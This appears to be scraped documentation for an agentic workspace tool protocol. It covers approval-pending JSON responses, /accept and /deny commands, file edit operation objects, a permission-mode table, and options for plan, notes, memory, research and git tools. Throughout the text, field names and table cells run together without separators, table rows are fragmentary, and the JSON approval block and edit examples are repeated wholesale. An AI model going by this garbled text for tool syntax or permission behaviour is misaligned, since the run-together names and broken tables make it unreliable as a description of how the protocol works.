issue_createpr_list, pr_create, pr_difftypepresswaitscrollbackreloadevaluate when separately enabled{
"protocol": "agentic-workspace/v1",
"ok": true,
"operation": "edit.apply",
"summary": "Awaiting approval approval_…: Commit tx_…. The user must reply /accept approval_… (or /deny approval_… <reason>). After approval, call workspace_edit with {\"action\":\"commit\",\"transaction_id\":\"tx_…\"}.",
"retention": {
"importance": "critical",
"facts": ["approval approval_… pending: Commit tx_…", "permission mode Manual (0)"]
},
"data": {
"status": "pending_approval",
"mode": "manual",
"approval": {
"id": "approval_…",
"kind": "transaction",
"title": "Commit tx_…",
"destructive": false,
"resume": { "tool": "workspace_edit", "arguments": { "action": "commit", "transaction_id": "tx_…" } }
}
}
}
/accept [approval_id | plan_id] [note]
/deny [approval_id | plan_id] [reason]
{ "type": "create", "path": "src/new.ts", "content": "...", "overwrite": false }
{ "type": "rewrite", "path": "src/a.ts", "content": "...", "create_if_missing": false }
{
"type": "replace",
"path": "src/a.ts",
"search": "old exact text",
"replacement": "new text",
"expected_matches": 1
}
{
"type": "splice",
"path": "src/a.ts",
"start_line": 20,
"delete_count": 3,
"content": "replacement lines"
}
{ "type": "copy", "from": "src/a.ts", "to": "src/b.ts", "overwrite": false }
{ "type": "move", "from": "src/old.ts", "to": "src/new.ts", "overwrite": false }
{ "type": "delete", "path": "src/old.ts", "ignore_missing": false }
{ "type": "mkdir", "path": ".github/workflows" }
| runs |
APPROVAL_REQUIRED |
| runs |
| staged |
workspace_browser | control | runs | APPROVAL_REQUIRED | runs | staged |
workspace_agent | run, start | runs; the run commits its own edits | APPROVAL_REQUIRED | runs; the run commits its own edits | starts with commit_edits=false; staged when the run may execute commands or reach the web |
checkoutbranch --deletepushcheckoutbranchcreate: truefindstatchangesplanPathfileCountfilesdirectoryCountdirectoriesfilesTruncateddirectoriesTruncatedmkdirworkspace_edit listpropose — title, objective and steps are required (1–40 steps, each a string or { "text", "kind" } with kind one of edit, command, vcs, research, other). Optional files ({ "path", "change" } with change one of create, modify, delete, move; at most 100), commands ({ "executable", "args" }; a bare executable name — the allowlist is enforced when the command runs; at most 40), risks and questions (at most 40 each). Text fields are limited to 2,000 characters. Proposing supersedes any pending or approved plan (the revision increments and supersedes names the previous id). The plan is written to .agentic/plans/<plan_id>/plan.md (inside the store lock, before the record exists). Returns planId, status: "pending", revision, plan, planPath, markdown and an instruction to restate the plan and stop. In Manual mode the summary and instruction add that each mutating call still needs its own /accept and the plan is a shared checklist.current — the pending plan, else the approved one, else { "status": "none" }.show — plan_id required.complete — plan_id defaults to the approved plan; summary optional. Ends the approved plan; in Plan mode mutating tools are locked again. complete on a plan the user has not accepted yet fails TRANSACTION_STATE with a message that names the plan id and says to stop and wait: nothing runs until the user replies, and calling complete or show again cannot change that.list — limit 1–100 (default 20), newest first..agentic/notes/<name>.md (at most 200,000 bytes each). name uses letters, digits, ., _ or -, starts with a letter or digit, and is at most 64 characters; a trailing .md is stripped; Windows reserved device names are rejected.memory: true — or the name MEMORY / memory.md in any case — targets .agentic/MEMORY.md (at most 64,000 bytes), the durable workspace memory. It can be read, written and appended but not deleted.append separates the new text with a blank line; files are always newline-terminated.list returns up to limit notes (default 100, with total and a "showing N" clause when more exist) plus whether the memory file exists and its size; the notes array is omitted when summarizing and the first 20 names stay in retention.facts.removenote, checkpointnextarchive, reopensearch — query a provider, optionally recording the result under research_id.fetch — fetch/extract a URL, optionally creating a durable source_id.start — create a research project.deep — start or await a bounded research agent (needs durable sub-agents enabled too, else AGENT_DISABLED). The run is started with commit_edits=false and allow_commands=false; it never commits edits.list, shownote — add a sourced finding/claim/question/warning/method.archiveinit — creates a repository in cwd; branch sets the initial branch. Gated by the permission mode as a non-destructive mutation (it creates .git/ in the user's tree).status, diff, log, showadd, commit, checkout, branch, pushgh_authissue_list, issue_createpr_list, pr_create, pr_difftypepresswaitscrollbackreloadevaluate when separately enabled{
"protocol": "agentic-workspace/v1",
"ok": true,
"operation": "edit.apply",
"summary": "Awaiting approval approval_…: Commit tx_…. The user must reply /accept approval_… (or /deny approval_… <reason>). After approval, call workspace_edit with {\"action\":\"commit\",\"transaction_id\":\"tx_…\"}.",
"retention": {
"importance": "critical",
"facts": ["approval approval_… pending: Commit tx_…", "permission mode Manual (0)"]
},
"data": {
"status": "pending_approval",
"mode": "manual",
"approval": {
"id": "approval_…",
"kind": "transaction",
"title": "Commit tx_…",
"destructive": false,
"resume": { "tool": "workspace_edit", "arguments": { "action": "commit", "transaction_id": "tx_…" } }
}
}
}
/accept [approval_id | plan_id] [note]
/deny [approval_id | plan_id] [reason]
{ "type": "create", "path": "src/new.ts", "content": "...", "overwrite": false }
{ "type": "rewrite", "path": "src/a.ts", "content": "...", "create_if_missing": false }
{
"type": "replace",
"path": "src/a.ts",
"search": "old exact text",
"replacement": "new text",
"expected_matches": 1
}
{
"type": "splice",
"path": "src/a.ts",
"start_line": 20,
"delete_count": 3,
"content": "replacement lines"
}
{ "type": "copy", "from": "src/a.ts", "to": "src/b.ts", "overwrite": false }
{ "type": "move", "from": "src/old.ts", "to": "src/new.ts", "overwrite": false }
{ "type": "delete", "path": "src/old.ts", "ignore_missing": false }
{ "type": "mkdir", "path": ".github/workflows" }